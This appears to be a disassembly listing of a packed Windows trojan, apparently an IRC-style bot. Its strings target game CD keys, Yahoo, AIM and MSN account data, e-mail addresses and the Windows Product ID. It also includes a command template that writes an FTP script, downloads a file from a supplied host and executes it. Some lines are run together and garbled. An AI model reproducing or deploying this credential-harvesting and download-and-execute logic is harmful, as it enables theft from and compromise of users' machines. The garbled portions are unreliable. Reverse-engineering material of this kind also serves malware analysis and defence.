aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457D0o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00434FBAo
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00434F7Eo
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
		align 4
		dd 0
dword_44693C	dd 3A6D6961h, 732520h, 0dword_446948	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434E82o
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A7C	dd 3A6E736Dh, 732520h, 0dword_446A88	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00435447o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4356F0+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4356F0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4356F0+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4356F0+3BBo
		align 4


loc_446BB4:				; DATA XREF: sub_4356F0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446BBF:				; DATA XREF: sub_4356F0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BCB:				; DATA XREF: sub_4356F0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446BD7:				; DATA XREF: ___:00435EB6o
					; ___:00436110o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BE8:				; CODE XREF: ___:00446BEDj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BE8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043633Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CE0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F70	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F74	dd 0							; sub_4245F0+11o ...
dword_446F78	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D3DFr ...
		align 10h
dword_446F80	dd 0							; ___:0040D345w ...
		dd 8 dup(0)
dword_446FA4	dd 41h dup(0)						; ___:0040D380o ...
dword_4470A8	dd 0							; ___:loc_40D3D4r ...
dword_4470AC	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D34Fr ...
dword_4470B0	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D580+CAw
dword_4470B4	dd 0							; sub_40D580+E3r
		dd 11h dup(0)
dword_4470FC	dd 0							; sub_40FF60+47Dr
dword_447100	dd 0							; sub_40FF60+515r ...
dword_447104	dd 0							; sub_40FF60+655r ...
dword_447108	dd 0							; sub_40FF60+B79r ...
dword_44710C	dd 0							; sub_40FF60+74Br
dword_447110	dd 0							; sub_40FF60+828r
dword_447114	dd 0							; sub_40FF60+77Cr
dword_447118	dd 0							; sub_40FF60+4DDr ...
dword_44711C	dd 0							; sub_40FF60+311r
dword_447120	dd 0							; sub_40FF60+34Dr ...
dword_447124	dd 0							; sub_40FF60+33Dr
dword_447128	dd 0							; sub_40FF60+3D2r
dword_44712C	dd 0							; sub_40FF60+E93r
dword_447130	dd 0							; sub_40FF60+1220r ...
dword_447134	dd 0							; sub_411FE0+4DAr
dword_447138	dd 0							; sub_40FF60+683r
dword_44713C	dd 0							; sub_40FF60+6B5r
dword_447140	dd 0							; sub_40FF60+1252r
		dd 5 dup(0)
dword_447158	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44719A	db 0			; DATA XREF: sub_409A30r sub_409AA0r
		align 4
		db 3 dup(0)
byte_44719F	db 0			; DATA XREF: sub_40D580+10Fr
		db 0
byte_4471A1	db 0			; DATA XREF: sub_40DB10r
word_4471A2	dw 0			; DATA XREF: sub_40DB10+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_4472B7	db 0			; DATA XREF: ___:00412ECAo
					; ___:00412F7Fo ...
		db 3 dup(0)
byte_4472BB	db 0			; DATA XREF: sub_41F860:loc_41F89Dr
		align 10h
dword_4472C0	dd 12h dup(0)						; sub_40FF60+114o
		db 0
byte_447309	db 3 dup(0)		; DATA XREF: ___:00408ADEo
					; sub_40FF60+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447352	dw 0			; DATA XREF: ___:00408AB5o
					; sub_40FF60+132o
		dd 6 dup(0)
word_44736C	dw 0			; DATA XREF: sub_40FF60+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44739B	db 0			; DATA XREF: ___:00408B07o
					; sub_40FF60+17Co ...
		dd 12h dup(0)
dword_4473E4	dd 12h dup(0)						; sub_40FF60+F7o ...
		db 0
byte_44742D	db 3 dup(0)		; DATA XREF: ___:00408A40o
					; sub_40FF60+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_4474BF	db 0			; DATA XREF: ___:00408B30o
					; sub_40FF60+19Ao
		dd 24h dup(0)
		db 0
byte_447551	db 3 dup(0)		; DATA XREF: sub_425020+2Bo
					; sub_425020+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44759A	dw 0			; DATA XREF: ___:00412E9Ao
					; ___:00412EB9o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44768F	dd 0							; sub_41EF30+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447769	db 0			; DATA XREF: sub_41B950+18r
		align 4
		dd 36h dup(0)
byte_447844	db 0			; DATA XREF: sub_40FF60+842r
		align 4
		dd 0Bh dup(0)
dword_447874	dd 18h dup(0)						; sub_40ED70+97o ...
		db 2 dup(0)
byte_4478D6	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D830+671r
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_44791F	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D830:loc_41DEB9r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44794F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D830+692o ...
		dd 12h dup(0)
dword_447998	dd 2Bh dup(0)						; sub_41EF30+630o ...
dword_447A44	dd 0				dd 11h dup(0)
		db 0
dword_447A8D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DF8	db 0			; DATA XREF: sub_41EF30+146r
					; sub_41EF30+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C9E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448CA2	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448D16	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448DB0	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448FCB	db 0			; DATA XREF: sub_425640+3Bw
					; sub_4256B0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_4491CB	dd 0							; sub_4256B0+4Fw ...
dword_4491CF	dd 0							; ___:004240BDw ...
dword_4491D3	dd 0							; sub_4256B0+5Dr ...
dword_4491D7	dd 0							; sub_4256B0+8Cr ...
dword_4491DB	dd 0							; sub_4256B0+9Dr
dword_4491DF	dd 0							; ___:004240F1r ...
byte_4491E3	db 0			; DATA XREF: sub_425640+42w
					; sub_4256B0+85w
dword_4491E4	dd 3018h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F40o
		dd 0EB85h dup(0)
dword_49005C	dd 8267h dup(0)			db 3 dup(0)
byte_4B09FB	db 0			; DATA XREF: sub_581EE9+1E63Fo
		dd 2E3Bh dup(0)
		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_44433Co
		dd 6DEh	dup(0)
		db 3 dup(0)
dword_4D5FCB	dd 0							; sub_4258E0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D60B5	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D60CC	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EEw
dword_4D60CD	dd 0							; sub_422A40:loc_4231C4r ...
		align 4
		dd 0
		db 0
dword_4D60D9	dd 0							; sub_404C20+2Aw
byte_4D60DD	db 3 dup(0)		; DATA XREF: ___:00412EF4o
					; ___:00412F17o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D6107	dd 0							; sub_427AD0:loc_427BC7r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D61CB	db 0			; DATA XREF: sub_425870+16o
					; sub_4258A0+19o
		db 3 dup(0)
byte_4D61CF	db 0			; DATA XREF: sub_4257A0+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D638F	db 0			; DATA XREF: ___:004081C6o
					; ___:00408657o ...
		dd 8 dup(0)
dword_4D63B0	dd 0				dd 51h dup(0)
		db 0
byte_4D64F9	db 0			; DATA XREF: sub_426820:loc_4268D0r
					; sub_426CE0:loc_426D95r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6775	dd 0							; sub_426CE0+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4DE2E5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DCF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E55	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E672F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E84	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E85	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E9A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:0040866Bo ...
		dd 0Fh dup(0)
		db 0
byte_4E6ED9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6EDB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
		dd 751Eh dup(0)
dword_504354	dd 0AC6h dup(0)	dword_506E6C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE6C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB38	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB48	dd 0							; ___:0041FB3Dw ...
dword_50BB4C	dd 0							; sub_41FA90+2Aw ...
dword_50BB50	dd 0		dword_50BB54	dd 0							; ___:0041FB5Bw
dword_50BB58	dd 0		dword_50BB5C	dd 0							; ___:0041FB67w ...
dword_50BB60	dd 0							; ___:0041FB6Dw ...
dword_50BB64	dd 0							; ___:00420DA9o
dword_50BB68	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB6C	dd 0							; ___:0041FB81w
dword_50BB70	dd 0							; sub_420530+41w ...
dword_50BB74	dd 0							; sub_420530+7Fr
dword_50BB78	dd 0							; sub_420530+92r ...
dword_50BB7C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB8C	dd 0							; ___:0041C1A5o
dword_50BB90	dd 0							; sub_423720+5r ...
dword_50BB94	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAD0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAE8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E140	dd 0		word_50E144	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E148	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E14C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E150	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E154	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E15C	dd 80h dup(0)						; sub_426A60+129o
dword_50E35C	dd 0		dword_50E360	dd 0				dd 1Dh dup(0)
dword_50E3D8	dd 0							; ___:0042B11Dr ...
dword_50E3DC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3E0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3E4	dd 0		dword_50E3E8	dd 0							; sub_430270r ...
dword_50E3EC	dd 0		dword_50E3F0	dd 0							; sub_42F6B0+111w ...
dword_50E3F4	dd 0							; sub_42F6B0+F6r ...
dword_50E3F8	dd 0							; ___:loc_4303B0r
dword_50E3FC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Dh	dup(0)
dword_50E900	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E940	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E960	dd 8 dup(0)						; sub_430690+25o ...
dword_50E980	dd 8 dup(0)						; sub_431560+84o ...
dword_50E9A0	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9C0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 182h dup(0)
		dd 5 dup(6BC47F69h), 5 dup(400573A7h), 5 dup(4582CB05h)
		dd 5 dup(64E3911h), 5 dup(39C96FA3h), 5	dup(73FC0644h)
		dd 5 dup(40F754D1h), 5 dup(2623ABA7h), 5 dup(484273BDh)
		dd 5 dup(322488D8h), 5 dup(34E2EB2Ah), 1Eh dup(0)
		dd 73FC0644h, 10h dup(0)
		dd 34E2EB2Ah, 58h dup(0)
		dd 64E3911h, 1Bh dup(0)
		dd 484273BDh, 14h dup(0)
		dd 400573A7h, 52h dup(0)
		dd 6BC47F69h, 1Bh dup(0)
		dd 322488D8h, 0Bh dup(0)
		dd 40F754D1h, 0Ch dup(0)
		dd 39C96FA3h, 2Bh dup(0)
		dd 2623ABA7h, 11h dup(0)
		dd 4582CB05h, 0Ah dup(0)
		dd 28906B4h, 28A0000h, 28B0000h
dword_50F710	dd 28B1349h			dd 28B14F0h
dword_50F718	dd 28B1868h			dd 28B1BAFh, 28C0000h
dword_50F724	dd 28D0000h			dd 28E0000h, 28E040Fh, 28E0842h, 28E0C58h
dword_50F738	dd 28F0000h						; sub_40E7A0+25Ar ...
dword_50F73C	dd 28F046Ch	dword_50F740	dd 28F0744h			dd 28F088Ah, 28F0C6Eh
dword_50F74C	dd 2900000h						; sub_40ED70+15Er ...
		dd 2900237h
dword_50F754	dd 2910000h						; sub_40E7A0+22Cr
		dd 2920000h
dword_50F75C	dd 292021Eh						; sub_4207E0+285r ...
		dd 2930000h
dword_50F764	dd 2931104h						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 2700000h, 2700136h, 2710000h, 27105BFh, 27107AAh, 2710AAFh
		dd 2710CA5h, 2720000h, 2720568h, 27208C4h, 2720B7Eh, 2730000h
		dd 27307ACh, 2730839h, 2730B4Eh, 2740000h, 274033Dh, 2740771h
		dd 2740966h, 2740C95h, 2750000h, 27505D0h, 2750677h, 27509A6h
		dd 2750B7Fh, 2750DE0h, 2760000h, 2760263h, 2760411h, 2760571h
		dd 27606B4h, 2760720h
dword_50F858	dd 27609E7h	dword_50F85C	dd 2770000h	dword_50F860	dd 2770149h			dd 7C901005h, 7C9010EDh, 27703CBh, 2770420h
dword_50F874	dd 2770464h						; sub_420530+FEr
		dd 2780000h, 2780619h, 2780A73h, 2780EF8h, 2790000h, 27A0000h
		dd 27A08E7h, 27B0000h, 27C0000h, 27C0924h
dword_50F8A0	dd 27D0000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 27D07EBh						; sub_40FF60+47r ...
		dd 27D0887h, 27D0A8Ah, 27E0000h, 27F0000h, 2800000h, 2810000h
		dd 2820000h
dword_50F8C4	dd 282167Ch			dd 28218E7h, 2821C6Bh
dword_50F8D0	dd 2821EEEh						; sub_41B4B0+2Fr ...
		dd 2830000h
dword_50F8D8	dd 28308C8h						; sub_4203D0+2Er ...
		dd 2840000h, 284039Ch, 2850000h
dword_50F8E8	dd 285042Eh			dd 2850708h, 2860000h, 2870000h, 2871154h, 2871AC7h, 2880000h
		dd 28807E9h, 2880CA5h
		dd 2890000h
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 289030Dh
off_50FBF0	dd offset sub_5EFFD5	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 00101000 (1052672.)
; Section size in file		: 00101000 (1052672.)
; Offset to raw	data for section: 00113000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 513000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0DB68A41Ch, 4F492h, 5EA04h, 158172h,	0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 30h,	51h, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: Themida_:0051302Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: Themida_:00513072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: Themida_:00513059j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: Themida_:0051306Bj
		mov	edi, eax


loc_513076:				; CODE XREF: Themida_:0051302Fj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11326Ah
		add	ecx, edi
		jmp	short loc_513090
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: Themida_:0051301Cj
		mov	eax, offset loc_57DB9C
		mov	ecx, offset word_51326A


loc_513090:				; CODE XREF: Themida_:00513084j
		push	eax
		push	ecx
